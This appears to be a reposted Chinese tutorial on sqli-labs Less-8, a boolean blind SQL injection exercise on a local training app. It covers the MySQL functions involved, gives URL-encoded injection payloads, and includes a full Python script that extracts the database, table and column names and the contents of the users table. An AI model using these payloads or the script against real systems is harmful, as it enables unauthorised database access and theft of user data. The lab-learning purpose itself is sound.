sqli-lab(8)


布爾型單引號GET盲注

發現加個單引號跟沒加顯示不一樣,加了單引號連you are in都不顯示了,沒有報錯,所以只能用盲注判斷了

0X01愛之先了解

盲注需要掌握一些MySQL的相關函數:
length(str):返回str字符串的長度。

substr(str, pos, len):將str從pos位置開始截取len長度的字符進行返回。注意這里的pos位置是從1開始的,不是數組的0開始

mid(str,pos,len):跟上面的一樣,截取字符串

 ascii(str):返回字符串str的最左面字符的ASCII代碼值。

ord(str):同上,返回ascii碼

if(a,b,c) :a為條件,a為true,返回b,否則返回c,如if(1>2,1,0),返回0

 

首先要記得常見的ASCII,A:65,Z:90 a:97,z:122,  0:48, 9:57
那么我們就進行第二步

0X02

首先select database()查詢數據庫

ascii(substr((select database()),1,1)):返回數據庫名稱的第一個字母,轉化為ascii碼

ascii(substr((select database()),1,1))>64:ascii大於64就返回true,if就返回1,否則返回0

http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E64,1,0)%20%23

為什么這里是布爾型盲注呢,因為這里沒把數據輸出,只是$row有數據和無數據的時候顯示的結果不一樣

正確的時候顯示的you are in.... 錯誤的時候就是什么都顯示

猜數據庫名第一個字母具體過程,使用二分法

http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E96,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E110,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E120,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E115,1,0)%20%23返回錯誤,不大於115,即第一個字母的ascii為115,即字母s
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E110,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E111,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E114,1,0)%20%23返回正確,大於114

盲注過程是漫長的,一般是自己寫腳本或使用工具輔助

寫腳本之前要知道原理,上面的就是原理

下面基於這個學着寫了個提取users表數據的完整腳本,大家可以參考下,當然如果大家用sqlmap也可以

import urllib2
import urllib
 
 
success_str = "You are in"
getTable = "users"
 
index = "0"
url = "http://localhost/sql1/Less-8/?id=1"
database = "database()"
selectDB = "select database()" 
selectTable = "select table_name from information_schema.tables where table_schema='%s' limit %d,1"
 
 
asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #"
lengthPayload = "' and length(%s)>=%d #"
selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"
 
selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit " 
selectTableNameLengthPayloadbehind = ",1)>=%d #"
 
 
# 發送請求,根據頁面的返回的判斷長度的猜測結果
# string:猜測的字符串    payload:使用的payload    length:猜測的長度
def getLengthResult(payload, string, length):
    finalUrl = url + urllib.quote(payload % (string, length))
    res = urllib2.urlopen(finalUrl)
    if success_str in res.read():
        return True
    else:
        return False
 
# 發送請求,根據頁面的返回的判斷猜測的字符是否正確
# payload:使用的payload    string:猜測的字符串    pos:猜測字符串的位置    ascii:猜測的ascii
def getResult(payload, string, pos, ascii):
    finalUrl = url + urllib.quote(payload % (string, pos, ascii))
    res = urllib2.urlopen(finalUrl)
    if success_str in res.read():
        return True
    else:
        return False
 
# 注入
def inject():
    # 猜數據庫長度
    lengthOfDBName = getLengthOfString(lengthPayload, database)
    print ("length of DBname: " + str(lengthOfDBName))
    # 獲取數據庫名稱
    DBname = getName(asciiPayload, selectDB, lengthOfDBName)
    
    print ("current database:" + DBname)
 
    # 獲取數據庫中的表的個數
    # print selectTableCountPayload
    tableCount = getLengthOfString(selectTableCountPayload, DBname)
    print ("count of talbe:" + str(tableCount))
 
    # 獲取數據庫中的表
    for i in xrange(0,tableCount):
        # 第幾個表
        num = str(i)
        # 獲取當前這個表的長度
        selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind
        tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)
        print ("current table length:" + str(tableNameLength))
        # 獲取當前這個表的名字
        selectTableName = selectTable%(DBname, i)
        tableName = getName(asciiPayload, selectTableName ,tableNameLength)
        print (tableName)
 
 
    selectColumnCountPayload = "'and (select count(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s')>=%d #"
    # print selectColumnCountPayload
    # 獲取指定表的列的數量
    columnCount = getLengthOfString(selectColumnCountPayload, getTable)
    print ("table:" + getTable + " --count of column:" + str(columnCount))
 
    # 獲取該表有多少行數據
    dataCountPayload = "'and (select count(*) from %s)>=%d #"
    dataCount = getLengthOfString(dataCountPayload, getTable)
    print ("table:" + getTable + " --count of data: " + str(dataCount))
 
    data = []
    # 獲取指定表中的列
    for i in xrange(0,columnCount):
        # 獲取該列名字長度
        selectColumnNameLengthPayload = "'and (select length(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit "+ str(i) +",1)>=%d #"
        # print selectColumnNameLengthPayload
        columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable)
        print ("current column length:" + str(columnNameLength))
        # 獲取該列的名字
        selectColumn = "select column_name from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit %d,1"
        selectColumnName = selectColumn%(getTable, i)
        # print selectColumnName
        columnName = getName(asciiPayload, selectColumnName ,columnNameLength)
        print (columnName)
 
        tmpData = []
        tmpData.append(columnName)
        # 獲取該表的數據
        for j in xrange(0,dataCount):
            columnDataLengthPayload = "'and (select length("+ columnName +") from %s limit " + str(j) + ",1)>=%d #"
            # print columnDataLengthPayload
            columnDataLength = getLengthOfString(columnDataLengthPayload, getTable)
            # print columnDataLength
            selectData = "select " + columnName + " from users limit " + str(j) + ",1"
            columnData = getName(asciiPayload, selectData, columnDataLength)
            # print columnData
            tmpData.append(columnData)
    
        data.append(tmpData)
 
    # print data    
    # 格式化輸出數據
    # 輸出列名
    tmp = ""
    for i in xrange(0,len(data)):
        tmp += data[i][0] + "    "
    print (tmp)
    # 輸出具體數據
    for j in xrange(1,dataCount+1):
        tmp = ""
        for i in xrange(0,len(data)):
            tmp += data[i][j] + "    "
        print (tmp)
    
# 獲取字符串的長度            
def getLengthOfString(payload, string):
    # 猜長度
    lengthLeft = 0
    lengthRigth = 0
    guess = 10
    # 確定長度上限,每次增加5
    while 1:
        # 如果長度大於guess
        if getLengthResult(payload, string, guess) == True:
            # 猜測值增加5
            guess = guess + 5    
        else:
            lengthRigth = guess
            break
    # print "lengthRigth: " + str(lengthRigth)
    # 二分法查長度
    mid = (lengthLeft + lengthRigth) / 2
    while lengthLeft < lengthRigth - 1:
        # 如果長度大於等於mid 
        if getLengthResult(payload, string, mid) == True:
            # 更新長度的左邊界為mid
            lengthLeft = mid
        else: 
        # 否則就是長度小於mid
            # 更新長度的右邊界為mid
            lengthRigth = mid
        # 更新中值
        mid = (lengthLeft + lengthRigth) / 2        
        # print lengthLeft, lengthRigth
    # 因為lengthLeft當長度大於等於mid時更新為mid,而lengthRigth是當長度小於mid時更新為mid
    # 所以長度區間:大於等於 lengthLeft,小於lengthRigth
    # 而循環條件是 lengthLeft < lengthRigth - 1,退出循環,lengthLeft就是所求長度
    # 如循環到最后一步 lengthLeft = 8, lengthRigth = 9時,循環退出,區間為8<=length<9,length就肯定等於8
    return lengthLeft
 
# 獲取名稱
def getName(payload, string, lengthOfString):
    # 32是空格,是第一個可顯示的字符,127是delete,最后一個字符
    tmp = ''
    for i in xrange(1,lengthOfString+1):
        left = 32 
        right = 127
        mid = (left + right) / 2
        while left < right - 1:
            # 如果該字符串的第i個字符的ascii碼大於等於mid
            if getResult(payload, string, i, mid) == True:
                # 則更新左邊界
                left = mid
                mid = (left + right) / 2
            else:
            # 否則該字符串的第i個字符的ascii碼小於mid
                # 則更新右邊界
                right = mid
            # 更新中值
            mid = (left + right) / 2
        tmp += chr(left)
        # print tmp
    return tmp    
        
 
def main():
    inject()
main()

運行結果:

 

 

切記 學習之路 無浮躁 少就是多


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM